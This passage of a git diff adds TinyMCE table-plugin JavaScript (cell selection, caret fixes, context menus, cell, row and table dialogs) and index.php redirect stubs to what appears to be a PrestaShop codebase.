ed.windowManager; + + // Add cell selection logic + ed.onMouseDown.add(function(ed, e) { + if (e.button != 2) { + cleanup(); + + startCell = dom.getParent(e.target, 'td,th'); + startTable = dom.getParent(startCell, 'table'); + } + }); + + dom.bind(ed.getDoc(), 'mouseover', function(e) { + var sel, table, target = e.target; + + if (startCell && (tableGrid || target != startCell) && (target.nodeName == 'TD' || target.nodeName == 'TH')) { + table = dom.getParent(target, 'table'); + if (table == startTable) { + if (!tableGrid) { + tableGrid = createTableGrid(table); + tableGrid.setStartCell(startCell); + + ed.getBody().style.webkitUserSelect = 'none'; + } + + tableGrid.setEndCell(target); + hasCellSelection = true; + } + + // Remove current selection + sel = ed.selection.getSel(); + + try { + if (sel.removeAllRanges) + sel.removeAllRanges(); + else + sel.empty(); + } catch (ex) { + // IE9 might throw errors here + } + + e.preventDefault(); + } + }); + + ed.onMouseUp.add(function(ed, e) { + var rng, sel = ed.selection, selectedCells, nativeSel = sel.getSel(), walker, node, lastNode, endNode; + + // Move selection to startCell + if (startCell) { + if (tableGrid) + ed.getBody().style.webkitUserSelect = ''; + + function setPoint(node, start) { + var walker = new tinymce.dom.TreeWalker(node, node); + + do { + // Text node + if (node.nodeType == 3 && tinymce.trim(node.nodeValue).length != 0) { + if (start) + rng.setStart(node, 0); + else + rng.setEnd(node, node.nodeValue.length); + + return; + } + + // BR element + if (node.nodeName == 'BR') { + if (start) + rng.setStartBefore(node); + else + rng.setEndBefore(node); + + return; + } + } while (node = (start ? walker.next() : walker.prev())); + } + + // Try to expand text selection as much as we can only Gecko supports cell selection + selectedCells = dom.select('td.mceSelected,th.mceSelected'); + if (selectedCells.length > 0) { + rng = dom.createRng(); + node = selectedCells[0]; + endNode = selectedCells[selectedCells.length - 1]; + rng.setStartBefore(node); + rng.setEndAfter(node); + + setPoint(node, 1); + walker = new tinymce.dom.TreeWalker(node, dom.getParent(selectedCells[0], 'table')); + + do { + if (node.nodeName == 'TD' || node.nodeName == 'TH') { + if (!dom.hasClass(node, 'mceSelected')) + break; + + lastNode = node; + } + } while (node = walker.next()); + + setPoint(lastNode); + + sel.setRng(rng); + } + + ed.nodeChanged(); + startCell = tableGrid = startTable = null; + } + }); + + ed.onKeyUp.add(function(ed, e) { + cleanup(); + }); + + ed.onKeyDown.add(function (ed, e) { + fixTableCellSelection(ed); + }); + + ed.onMouseDown.add(function (ed, e) { + if (e.button != 2) { + fixTableCellSelection(ed); + } + }); + function tableCellSelected(ed, rng, n, currentCell) { + // The decision of when a table cell is selected is somewhat involved. The fact that this code is + // required is actually a pointer to the root cause of this bug. A cell is selected when the start + // and end offsets are 0, the start container is a text, and the selection node is either a TR (most cases) + // or the parent of the table (in the case of the selection containing the last cell of a table). + var TEXT_NODE = 3, table = ed.dom.getParent(rng.startContainer, 'TABLE'), + tableParent, allOfCellSelected, tableCellSelection; + if (table) + tableParent = table.parentNode; + allOfCellSelected =rng.startContainer.nodeType == TEXT_NODE && + rng.startOffset == 0 && + rng.endOffset == 0 && + currentCell && + (n.nodeName=="TR" || n==tableParent); + tableCellSelection = (n.nodeName=="TD"||n.nodeName=="TH")&& !currentCell; + return allOfCellSelected || tableCellSelection; + // return false; + } + + // this nasty hack is here to work around some WebKit selection bugs. + function fixTableCellSelection(ed) { + if (!tinymce.isWebKit) + return; + + var rng = ed.selection.getRng(); + var n = ed.selection.getNode(); + var currentCell = ed.dom.getParent(rng.startContainer, 'TD,TH'); + + if (!tableCellSelected(ed, rng, n, currentCell)) + return; + if (!currentCell) { + currentCell=n; + } + + // Get the very last node inside the table cell + var end = currentCell.lastChild; + while (end.lastChild) + end = end.lastChild; + + // Select the entire table cell. Nothing outside of the table cell should be selected. + rng.setEnd(end, end.nodeValue.length); + ed.selection.setRng(rng); + } + ed.plugins.table.fixTableCellSelection=fixTableCellSelection; + + // Add context menu + if (ed && ed.plugins.contextmenu) { + ed.plugins.contextmenu.onContextMenu.add(function(th, m, e) { + var sm, se = ed.selection, el = se.getNode() || ed.getBody(); + + if (ed.dom.getParent(e, 'td') || ed.dom.getParent(e, 'th') || ed.dom.select('td.mceSelected,th.mceSelected').length) { + m.removeAll(); + + if (el.nodeName == 'A' && !ed.dom.getAttrib(el, 'name')) { + m.add({title : 'advanced.link_desc', icon : 'link', cmd : ed.plugins.advlink ? 'mceAdvLink' : 'mceLink', ui : true}); + m.add({title : 'advanced.unlink_desc', icon : 'unlink', cmd : 'UnLink'}); + m.addSeparator(); + } + + if (el.nodeName == 'IMG' && el.className.indexOf('mceItem') == -1) { + m.add({title : 'advanced.image_desc', icon : 'image', cmd : ed.plugins.advimage ? 'mceAdvImage' : 'mceImage', ui : true}); + m.addSeparator(); + } + + m.add({title : 'table.desc', icon : 'table', cmd : 'mceInsertTable', value : {action : 'insert'}}); + m.add({title : 'table.props_desc', icon : 'table_props', cmd : 'mceInsertTable'}); + m.add({title : 'table.del', icon : 'delete_table', cmd : 'mceTableDelete'}); + m.addSeparator(); + + // Cell menu + sm = m.addMenu({title : 'table.cell'}); + sm.add({title : 'table.cell_desc', icon : 'cell_props', cmd : 'mceTableCellProps'}); + sm.add({title : 'table.split_cells_desc', icon : 'split_cells', cmd : 'mceTableSplitCells'}); + sm.add({title : 'table.merge_cells_desc', icon : 'merge_cells', cmd : 'mceTableMergeCells'}); + + // Row menu + sm = m.addMenu({title : 'table.row'}); + sm.add({title : 'table.row_desc', icon : 'row_props', cmd : 'mceTableRowProps'}); + sm.add({title : 'table.row_before_desc', icon : 'row_before', cmd : 'mceTableInsertRowBefore'}); + sm.add({title : 'table.row_after_desc', icon : 'row_after', cmd : 'mceTableInsertRowAfter'}); + sm.add({title : 'table.delete_row_desc', icon : 'delete_row', cmd : 'mceTableDeleteRow'}); + sm.addSeparator(); + sm.add({title : 'table.cut_row_desc', icon : 'cut', cmd : 'mceTableCutRow'}); + sm.add({title : 'table.copy_row_desc', icon : 'copy', cmd : 'mceTableCopyRow'}); + sm.add({title : 'table.paste_row_before_desc', icon : 'paste', cmd : 'mceTablePasteRowBefore'}).setDisabled(!clipboardRows); + sm.add({title : 'table.paste_row_after_desc', icon : 'paste', cmd : 'mceTablePasteRowAfter'}).setDisabled(!clipboardRows); + + // Column menu + sm = m.addMenu({title : 'table.col'}); + sm.add({title : 'table.col_before_desc', icon : 'col_before', cmd : 'mceTableInsertColBefore'}); + sm.add({title : 'table.col_after_desc', icon : 'col_after', cmd : 'mceTableInsertColAfter'}); + sm.add({title : 'table.delete_col_desc', icon : 'delete_col', cmd : 'mceTableDeleteCol'}); + } else + m.add({title : 'table.desc', icon : 'table', cmd : 'mceInsertTable'}); + }); + } + + // Fix to allow navigating up and down in a table in WebKit browsers. + if (tinymce.isWebKit) { + function moveSelection(ed, e) { + var VK = tinymce.VK; + var key = e.keyCode; + + function handle(upBool, sourceNode, event) { + var siblingDirection = upBool ? 'previousSibling' : 'nextSibling'; + var currentRow = ed.dom.getParent(sourceNode, 'tr'); + var siblingRow = currentRow[siblingDirection]; + + if (siblingRow) { + moveCursorToRow(ed, sourceNode, siblingRow, upBool); + tinymce.dom.Event.cancel(event); + return true; + } else { + var tableNode = ed.dom.getParent(currentRow, 'table'); + var middleNode = currentRow.parentNode; + var parentNodeName = middleNode.nodeName.toLowerCase(); + if (parentNodeName === 'tbody' || parentNodeName === (upBool ? 'tfoot' : 'thead')) { + var targetParent = getTargetParent(upBool, tableNode, middleNode, 'tbody'); + if (targetParent !== null) { + return moveToRowInTarget(upBool, targetParent, sourceNode, event); + } + } + return escapeTable(upBool, currentRow, siblingDirection, tableNode, event); + } + } + + function getTargetParent(upBool, topNode, secondNode, nodeName) { + var tbodies = ed.dom.select('>' + nodeName, topNode); + var position = tbodies.indexOf(secondNode); + if (upBool && position === 0 || !upBool && position === tbodies.length - 1) { + return getFirstHeadOrFoot(upBool, topNode); + } else if (position === -1) { + var topOrBottom = secondNode.tagName.toLowerCase() === 'thead' ? 0 : tbodies.length - 1; + return tbodies[topOrBottom]; + } else { + return tbodies[position + (upBool ? -1 : 1)]; + } + } + + function getFirstHeadOrFoot(upBool, parent) { + var tagName = upBool ? 'thead' : 'tfoot'; + var headOrFoot = ed.dom.select('>' + tagName, parent); + return headOrFoot.length !== 0 ? headOrFoot[0] : null; + } + + function moveToRowInTarget(upBool, targetParent, sourceNode, event) { + var targetRow = getChildForDirection(targetParent, upBool); + targetRow && moveCursorToRow(ed, sourceNode, targetRow, upBool); + tinymce.dom.Event.cancel(event); + return true; + } + + function escapeTable(upBool, currentRow, siblingDirection, table, event) { + var tableSibling = table[siblingDirection]; + if (tableSibling) { + moveCursorToStartOfElement(tableSibling); + return true; + } else { + var parentCell = ed.dom.getParent(table, 'td,th'); + if (parentCell) { + return handle(upBool, parentCell, event); + } else { + var backUpSibling = getChildForDirection(currentRow, !upBool); + moveCursorToStartOfElement(backUpSibling); + return tinymce.dom.Event.cancel(event); + } + } + } + + function getChildForDirection(parent, up) { + return parent && parent[up ? 'lastChild' : 'firstChild']; + } + + function moveCursorToStartOfElement(n) { + ed.selection.setCursorLocation(n, 0); + } + + function isVerticalMovement() { + return key == VK.UP || key == VK.DOWN; + } + + function isInTable(ed) { + var node = ed.selection.getNode(); + var currentRow = ed.dom.getParent(node, 'tr'); + return currentRow !== null; + } + + function columnIndex(column) { + var colIndex = 0; + var c = column; + while (c.previousSibling) { + c = c.previousSibling; + colIndex = colIndex + getSpanVal(c, "colspan"); + } + return colIndex; + } + + function findColumn(rowElement, columnIndex) { + var c = 0; + var r = 0; + each(rowElement.children, function(cell, i) { + c = c + getSpanVal(cell, "colspan"); + r = i; + if (c > columnIndex) + return false; + }); + return r; + } + + function moveCursorToRow(ed, node, row, upBool) { + var srcColumnIndex = columnIndex(ed.dom.getParent(node, 'td,th')); + var tgtColumnIndex = findColumn(row, srcColumnIndex); + var tgtNode = row.childNodes[tgtColumnIndex]; + var rowCellTarget = getChildForDirection(tgtNode, upBool); + moveCursorToStartOfElement(rowCellTarget || tgtNode); + } + + function shouldFixCaret(preBrowserNode) { + var newNode = ed.selection.getNode(); + var newParent = ed.dom.getParent(newNode, 'td,th'); + var oldParent = ed.dom.getParent(preBrowserNode, 'td,th'); + return newParent && newParent !== oldParent && checkSameParentTable(newParent, oldParent) + } + + function checkSameParentTable(nodeOne, NodeTwo) { + return ed.dom.getParent(nodeOne, 'TABLE') === ed.dom.getParent(NodeTwo, 'TABLE'); + } + + if (isVerticalMovement() && isInTable(ed)) { + var preBrowserNode = ed.selection.getNode(); + setTimeout(function() { + if (shouldFixCaret(preBrowserNode)) { + handle(!e.shiftKey && key === VK.UP, preBrowserNode, e); + } + }, 0); + } + } + + ed.onKeyDown.add(moveSelection); + } + + // Fixes an issue on Gecko where it's impossible to place the caret behind a table + // This fix will force a paragraph element after the table but only when the forced_root_block setting is enabled + if (!tinymce.isIE) { + function fixTableCaretPos() { + var last; + + // Skip empty text nodes form the end + for (last = ed.getBody().lastChild; last && last.nodeType == 3 && !last.nodeValue.length; last = last.previousSibling) ; + + if (last && last.nodeName == 'TABLE') + ed.dom.add(ed.getBody(), 'p', null, '
    '); + }; + + // Fixes an bug where it's impossible to place the caret before a table in Gecko + // this fix solves it by detecting when the caret is at the beginning of such a table + // and then manually moves the caret infront of the table + if (tinymce.isGecko) { + ed.onKeyDown.add(function(ed, e) { + var rng, table, dom = ed.dom; + + // On gecko it's not possible to place the caret before a table + if (e.keyCode == 37 || e.keyCode == 38) { + rng = ed.selection.getRng(); + table = dom.getParent(rng.startContainer, 'table'); + + if (table && ed.getBody().firstChild == table) { + if (isAtStart(rng, table)) { + rng = dom.createRng(); + + rng.setStartBefore(table); + rng.setEndBefore(table); + + ed.selection.setRng(rng); + + e.preventDefault(); + } + } + } + }); + } + + ed.onKeyUp.add(fixTableCaretPos); + ed.onSetContent.add(fixTableCaretPos); + ed.onVisualAid.add(fixTableCaretPos); + + ed.onPreProcess.add(function(ed, o) { + var last = o.node.lastChild; + + if (last && last.childNodes.length == 1 && last.firstChild.nodeName == 'BR') + ed.dom.remove(last); + }); + + + /** + * Fixes bug in Gecko where shift-enter in table cell does not place caret on new line + */ + if (tinymce.isGecko) { + ed.onKeyDown.add(function(ed, e) { + if (e.keyCode === tinymce.VK.ENTER && e.shiftKey) { + var node = ed.selection.getRng().startContainer; + var tableCell = dom.getParent(node, 'td,th'); + if (tableCell) { + var zeroSizedNbsp = ed.getDoc().createTextNode("\uFEFF"); + dom.insertAfter(zeroSizedNbsp, node); + } + } + }); + } + + + fixTableCaretPos(); + ed.startContent = ed.getContent({format : 'raw'}); + } + }); + + // Register action commands + each({ + mceTableSplitCells : function(grid) { + grid.split(); + }, + + mceTableMergeCells : function(grid) { + var rowSpan, colSpan, cell; + + cell = ed.dom.getParent(ed.selection.getNode(), 'th,td'); + if (cell) { + rowSpan = cell.rowSpan; + colSpan = cell.colSpan; + } + + if (!ed.dom.select('td.mceSelected,th.mceSelected').length) { + winMan.open({ + url : url + '/merge_cells.htm', + width : 240 + parseInt(ed.getLang('table.merge_cells_delta_width', 0)), + height : 110 + parseInt(ed.getLang('table.merge_cells_delta_height', 0)), + inline : 1 + }, { + rows : rowSpan, + cols : colSpan, + onaction : function(data) { + grid.merge(cell, data.cols, data.rows); + }, + plugin_url : url + }); + } else + grid.merge(); + }, + + mceTableInsertRowBefore : function(grid) { + grid.insertRow(true); + }, + + mceTableInsertRowAfter : function(grid) { + grid.insertRow(); + }, + + mceTableInsertColBefore : function(grid) { + grid.insertCol(true); + }, + + mceTableInsertColAfter : function(grid) { + grid.insertCol(); + }, + + mceTableDeleteCol : function(grid) { + grid.deleteCols(); + }, + + mceTableDeleteRow : function(grid) { + grid.deleteRows(); + }, + + mceTableCutRow : function(grid) { + clipboardRows = grid.cutRows(); + }, + + mceTableCopyRow : function(grid) { + clipboardRows = grid.copyRows(); + }, + + mceTablePasteRowBefore : function(grid) { + grid.pasteRows(clipboardRows, true); + }, + + mceTablePasteRowAfter : function(grid) { + grid.pasteRows(clipboardRows); + }, + + mceTableDelete : function(grid) { + grid.deleteTable(); + } + }, function(func, name) { + ed.addCommand(name, function() { + var grid = createTableGrid(); + + if (grid) { + func(grid); + ed.execCommand('mceRepaint'); + cleanup(); + } + }); + }); + + // Register dialog commands + each({ + mceInsertTable : function(val) { + winMan.open({ + url : url + '/table.htm', + width : 400 + parseInt(ed.getLang('table.table_delta_width', 0)), + height : 320 + parseInt(ed.getLang('table.table_delta_height', 0)), + inline : 1 + }, { + plugin_url : url, + action : val ? val.action : 0 + }); + }, + + mceTableRowProps : function() { + winMan.open({ + url : url + '/row.htm', + width : 400 + parseInt(ed.getLang('table.rowprops_delta_width', 0)), + height : 295 + parseInt(ed.getLang('table.rowprops_delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + }, + + mceTableCellProps : function() { + winMan.open({ + url : url + '/cell.htm', + width : 400 + parseInt(ed.getLang('table.cellprops_delta_width', 0)), + height : 295 + parseInt(ed.getLang('table.cellprops_delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + } + }, function(func, name) { + ed.addCommand(name, function(ui, val) { + func(val); + }); + }); + } + }); + + // Register plugin + tinymce.PluginManager.add('table', tinymce.plugins.TablePlugin); +})(tinymce); diff --git a/js/tiny_mce/plugins/table/index.php b/js/tiny_mce/plugins/table/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/plugins/table/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/js/cell.js b/js/tiny_mce/plugins/table/js/cell.js new file mode 100755 index 0000000..53bdb54 --- /dev/null +++ b/js/tiny_mce/plugins/table/js/cell.js @@ -0,0 +1,319 @@ +tinyMCEPopup.requireLangPack(); + +var ed; + +function init() { + ed = tinyMCEPopup.editor; + tinyMCEPopup.resizeToInnerSize(); + + document.getElementById('backgroundimagebrowsercontainer').innerHTML = getBrowserHTML('backgroundimagebrowser','backgroundimage','image','table'); + document.getElementById('bordercolor_pickcontainer').innerHTML = getColorPickerHTML('bordercolor_pick','bordercolor'); + document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor') + + var inst = ed; + var tdElm = ed.dom.getParent(ed.selection.getStart(), "td,th"); + var formObj = document.forms[0]; + var st = ed.dom.parseStyle(ed.dom.getAttrib(tdElm, "style")); + + // Get table cell data + var celltype = tdElm.nodeName.toLowerCase(); + var align = ed.dom.getAttrib(tdElm, 'align'); + var valign = ed.dom.getAttrib(tdElm, 'valign'); + var width = trimSize(getStyle(tdElm, 'width', 'width')); + var height = trimSize(getStyle(tdElm, 'height', 'height')); + var bordercolor = convertRGBToHex(getStyle(tdElm, 'bordercolor', 'borderLeftColor')); + var bgcolor = convertRGBToHex(getStyle(tdElm, 'bgcolor', 'backgroundColor')); + var className = ed.dom.getAttrib(tdElm, 'class'); + var backgroundimage = getStyle(tdElm, 'background', 'backgroundImage').replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)", 'gi'), "$1"); + var id = ed.dom.getAttrib(tdElm, 'id'); + var lang = ed.dom.getAttrib(tdElm, 'lang'); + var dir = ed.dom.getAttrib(tdElm, 'dir'); + var scope = ed.dom.getAttrib(tdElm, 'scope'); + + // Setup form + addClassesToList('class', 'table_cell_styles'); + TinyMCE_EditableSelects.init(); + + if (!ed.dom.hasClass(tdElm, 'mceSelected')) { + formObj.bordercolor.value = bordercolor; + formObj.bgcolor.value = bgcolor; + formObj.backgroundimage.value = backgroundimage; + formObj.width.value = width; + formObj.height.value = height; + formObj.id.value = id; + formObj.lang.value = lang; + formObj.style.value = ed.dom.serializeStyle(st); + selectByValue(formObj, 'align', align); + selectByValue(formObj, 'valign', valign); + selectByValue(formObj, 'class', className, true, true); + selectByValue(formObj, 'celltype', celltype); + selectByValue(formObj, 'dir', dir); + selectByValue(formObj, 'scope', scope); + + // Resize some elements + if (isVisible('backgroundimagebrowser')) + document.getElementById('backgroundimage').style.width = '180px'; + + updateColor('bordercolor_pick', 'bordercolor'); + updateColor('bgcolor_pick', 'bgcolor'); + } else + tinyMCEPopup.dom.hide('action'); +} + +function updateAction() { + var el, inst = ed, tdElm, trElm, tableElm, formObj = document.forms[0]; + + if (!AutoValidator.validate(formObj)) { + tinyMCEPopup.alert(AutoValidator.getErrorMessages(formObj).join('. ') + '.'); + return false; + } + + tinyMCEPopup.restoreSelection(); + el = ed.selection.getStart(); + tdElm = ed.dom.getParent(el, "td,th"); + trElm = ed.dom.getParent(el, "tr"); + tableElm = ed.dom.getParent(el, "table"); + + // Cell is selected + if (ed.dom.hasClass(tdElm, 'mceSelected')) { + // Update all selected sells + tinymce.each(ed.dom.select('td.mceSelected,th.mceSelected'), function(td) { + updateCell(td); + }); + + ed.addVisual(); + ed.nodeChanged(); + inst.execCommand('mceEndUndoLevel'); + tinyMCEPopup.close(); + return; + } + + switch (getSelectValue(formObj, 'action')) { + case "cell": + var celltype = getSelectValue(formObj, 'celltype'); + var scope = getSelectValue(formObj, 'scope'); + + function doUpdate(s) { + if (s) { + updateCell(tdElm); + + ed.addVisual(); + ed.nodeChanged(); + inst.execCommand('mceEndUndoLevel'); + tinyMCEPopup.close(); + } + }; + + if (ed.getParam("accessibility_warnings", 1)) { + if (celltype == "th" && scope == "") + tinyMCEPopup.confirm(ed.getLang('table_dlg.missing_scope', '', true), doUpdate); + else + doUpdate(1); + + return; + } + + updateCell(tdElm); + break; + + case "row": + var cell = trElm.firstChild; + + if (cell.nodeName != "TD" && cell.nodeName != "TH") + cell = nextCell(cell); + + do { + cell = updateCell(cell, true); + } while ((cell = nextCell(cell)) != null); + + break; + + case "col": + var curr, col = 0, cell = trElm.firstChild, rows = tableElm.getElementsByTagName("tr"); + + if (cell.nodeName != "TD" && cell.nodeName != "TH") + cell = nextCell(cell); + + do { + if (cell == tdElm) + break; + col += cell.getAttribute("colspan"); + } while ((cell = nextCell(cell)) != null); + + for (var i=0; i +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/js/merge_cells.js b/js/tiny_mce/plugins/table/js/merge_cells.js new file mode 100755 index 0000000..fc2a048 --- /dev/null +++ b/js/tiny_mce/plugins/table/js/merge_cells.js @@ -0,0 +1,27 @@ +tinyMCEPopup.requireLangPack(); + +var MergeCellsDialog = { + init : function() { + var f = document.forms[0]; + + f.numcols.value = tinyMCEPopup.getWindowArg('cols', 1); + f.numrows.value = tinyMCEPopup.getWindowArg('rows', 1); + }, + + merge : function() { + var func, f = document.forms[0]; + + tinyMCEPopup.restoreSelection(); + + func = tinyMCEPopup.getWindowArg('onaction'); + + func({ + cols : f.numcols.value, + rows : f.numrows.value + }); + + tinyMCEPopup.close(); + } +}; + +tinyMCEPopup.onInit.add(MergeCellsDialog.init, MergeCellsDialog); diff --git a/js/tiny_mce/plugins/table/js/row.js b/js/tiny_mce/plugins/table/js/row.js new file mode 100755 index 0000000..882bfb5 --- /dev/null +++ b/js/tiny_mce/plugins/table/js/row.js @@ -0,0 +1,237 @@ +tinyMCEPopup.requireLangPack(); + +function init() { + tinyMCEPopup.resizeToInnerSize(); + + document.getElementById('backgroundimagebrowsercontainer').innerHTML = getBrowserHTML('backgroundimagebrowser','backgroundimage','image','table'); + document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor'); + + var inst = tinyMCEPopup.editor; + var dom = inst.dom; + var trElm = dom.getParent(inst.selection.getStart(), "tr"); + var formObj = document.forms[0]; + var st = dom.parseStyle(dom.getAttrib(trElm, "style")); + + // Get table row data + var rowtype = trElm.parentNode.nodeName.toLowerCase(); + var align = dom.getAttrib(trElm, 'align'); + var valign = dom.getAttrib(trElm, 'valign'); + var height = trimSize(getStyle(trElm, 'height', 'height')); + var className = dom.getAttrib(trElm, 'class'); + var bgcolor = convertRGBToHex(getStyle(trElm, 'bgcolor', 'backgroundColor')); + var backgroundimage = getStyle(trElm, 'background', 'backgroundImage').replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)", 'gi'), "$1"); + var id = dom.getAttrib(trElm, 'id'); + var lang = dom.getAttrib(trElm, 'lang'); + var dir = dom.getAttrib(trElm, 'dir'); + + selectByValue(formObj, 'rowtype', rowtype); + + // Any cells selected + if (dom.select('td.mceSelected,th.mceSelected', trElm).length == 0) { + // Setup form + addClassesToList('class', 'table_row_styles'); + TinyMCE_EditableSelects.init(); + + formObj.bgcolor.value = bgcolor; + formObj.backgroundimage.value = backgroundimage; + formObj.height.value = height; + formObj.id.value = id; + formObj.lang.value = lang; + formObj.style.value = dom.serializeStyle(st); + selectByValue(formObj, 'align', align); + selectByValue(formObj, 'valign', valign); + selectByValue(formObj, 'class', className, true, true); + selectByValue(formObj, 'dir', dir); + + // Resize some elements + if (isVisible('backgroundimagebrowser')) + document.getElementById('backgroundimage').style.width = '180px'; + + updateColor('bgcolor_pick', 'bgcolor'); + } else + tinyMCEPopup.dom.hide('action'); +} + +function updateAction() { + var inst = tinyMCEPopup.editor, dom = inst.dom, trElm, tableElm, formObj = document.forms[0]; + var action = getSelectValue(formObj, 'action'); + + if (!AutoValidator.validate(formObj)) { + tinyMCEPopup.alert(AutoValidator.getErrorMessages(formObj).join('. ') + '.'); + return false; + } + + tinyMCEPopup.restoreSelection(); + trElm = dom.getParent(inst.selection.getStart(), "tr"); + tableElm = dom.getParent(inst.selection.getStart(), "table"); + + // Update all selected rows + if (dom.select('td.mceSelected,th.mceSelected', trElm).length > 0) { + tinymce.each(tableElm.rows, function(tr) { + var i; + + for (i = 0; i < tr.cells.length; i++) { + if (dom.hasClass(tr.cells[i], 'mceSelected')) { + updateRow(tr, true); + return; + } + } + }); + + inst.addVisual(); + inst.nodeChanged(); + inst.execCommand('mceEndUndoLevel'); + tinyMCEPopup.close(); + return; + } + + switch (action) { + case "row": + updateRow(trElm); + break; + + case "all": + var rows = tableElm.getElementsByTagName("tr"); + + for (var i=0; i colLimit) { + tinyMCEPopup.alert(inst.getLang('table_dlg.col_limit').replace(/\{\$cols\}/g, colLimit)); + return false; + } else if (rowLimit && rows > rowLimit) { + tinyMCEPopup.alert(inst.getLang('table_dlg.row_limit').replace(/\{\$rows\}/g, rowLimit)); + return false; + } else if (cellLimit && cols * rows > cellLimit) { + tinyMCEPopup.alert(inst.getLang('table_dlg.cell_limit').replace(/\{\$cells\}/g, cellLimit)); + return false; + } + + // Update table + if (action == "update") { + dom.setAttrib(elm, 'cellPadding', cellpadding, true); + dom.setAttrib(elm, 'cellSpacing', cellspacing, true); + + if (!isCssSize(border)) { + dom.setAttrib(elm, 'border', border); + } else { + dom.setAttrib(elm, 'border', ''); + } + + if (border == '') { + dom.setStyle(elm, 'border-width', ''); + dom.setStyle(elm, 'border', ''); + dom.setAttrib(elm, 'border', ''); + } + + dom.setAttrib(elm, 'align', align); + dom.setAttrib(elm, 'frame', frame); + dom.setAttrib(elm, 'rules', rules); + dom.setAttrib(elm, 'class', className); + dom.setAttrib(elm, 'style', style); + dom.setAttrib(elm, 'id', id); + dom.setAttrib(elm, 'summary', summary); + dom.setAttrib(elm, 'dir', dir); + dom.setAttrib(elm, 'lang', lang); + + capEl = inst.dom.select('caption', elm)[0]; + + if (capEl && !caption) + capEl.parentNode.removeChild(capEl); + + if (!capEl && caption) { + capEl = elm.ownerDocument.createElement('caption'); + + if (!tinymce.isIE) + capEl.innerHTML = '
    '; + + elm.insertBefore(capEl, elm.firstChild); + } + + if (width && inst.settings.inline_styles) { + dom.setStyle(elm, 'width', width); + dom.setAttrib(elm, 'width', ''); + } else { + dom.setAttrib(elm, 'width', width, true); + dom.setStyle(elm, 'width', ''); + } + + // Remove these since they are not valid XHTML + dom.setAttrib(elm, 'borderColor', ''); + dom.setAttrib(elm, 'bgColor', ''); + dom.setAttrib(elm, 'background', ''); + + if (height && inst.settings.inline_styles) { + dom.setStyle(elm, 'height', height); + dom.setAttrib(elm, 'height', ''); + } else { + dom.setAttrib(elm, 'height', height, true); + dom.setStyle(elm, 'height', ''); + } + + if (background != '') + elm.style.backgroundImage = "url('" + background + "')"; + else + elm.style.backgroundImage = ''; + +/* if (tinyMCEPopup.getParam("inline_styles")) { + if (width != '') + elm.style.width = getCSSSize(width); + }*/ + + if (bordercolor != "") { + elm.style.borderColor = bordercolor; + elm.style.borderStyle = elm.style.borderStyle == "" ? "solid" : elm.style.borderStyle; + elm.style.borderWidth = cssSize(border); + } else + elm.style.borderColor = ''; + + elm.style.backgroundColor = bgcolor; + elm.style.height = getCSSSize(height); + + inst.addVisual(); + + // Fix for stange MSIE align bug + //elm.outerHTML = elm.outerHTML; + + inst.nodeChanged(); + inst.execCommand('mceEndUndoLevel', false, {}, {skip_undo: true}); + + // Repaint if dimensions changed + if (formObj.width.value != orgTableWidth || formObj.height.value != orgTableHeight) + inst.execCommand('mceRepaint'); + + tinyMCEPopup.close(); + return true; + } + + // Create new table + html += ''); + + tinymce.each('h1,h2,h3,h4,h5,h6,p'.split(','), function(n) { + if (patt) + patt += ','; + + patt += n + ' ._mce_marker'; + }); + + tinymce.each(inst.dom.select(patt), function(n) { + inst.dom.split(inst.dom.getParent(n, 'h1,h2,h3,h4,h5,h6,p'), n); + }); + + dom.setOuterHTML(dom.select('br._mce_marker')[0], html); + } else + inst.execCommand('mceInsertContent', false, html); + + tinymce.each(dom.select('table[data-mce-new]'), function(node) { + // Fixes a bug in IE where the caret cannot be placed after the table if the table is at the end of the document + if (tinymce.isIE && node.nextSibling == null) { + dom.insertAfter(dom.create('p'), node); + } + + var tdorth = dom.select('td,th', node); + try { + // IE9 might fail to do this selection + inst.selection.setCursorLocation(tdorth[0], 0); + } catch (ex) { + // Ignore + } + + dom.setAttrib(node, 'data-mce-new', ''); + }); + + inst.addVisual(); + inst.execCommand('mceEndUndoLevel', false, {}, {skip_undo: true}); + + tinyMCEPopup.close(); +} + +function makeAttrib(attrib, value) { + var formObj = document.forms[0]; + var valueElm = formObj.elements[attrib]; + + if (typeof(value) == "undefined" || value == null) { + value = ""; + + if (valueElm) + value = valueElm.value; + } + + if (value == "") + return ""; + + // XML encode it + value = value.replace(/&/g, '&'); + value = value.replace(/\"/g, '"'); + value = value.replace(//g, '>'); + + return ' ' + attrib + '="' + value + '"'; +} + +function init() { + tinyMCEPopup.resizeToInnerSize(); + + document.getElementById('backgroundimagebrowsercontainer').innerHTML = getBrowserHTML('backgroundimagebrowser','backgroundimage','image','table'); + document.getElementById('backgroundimagebrowsercontainer').innerHTML = getBrowserHTML('backgroundimagebrowser','backgroundimage','image','table'); + document.getElementById('bordercolor_pickcontainer').innerHTML = getColorPickerHTML('bordercolor_pick','bordercolor'); + document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor'); + + var cols = 2, rows = 2, border = tinyMCEPopup.getParam('table_default_border', '0'), 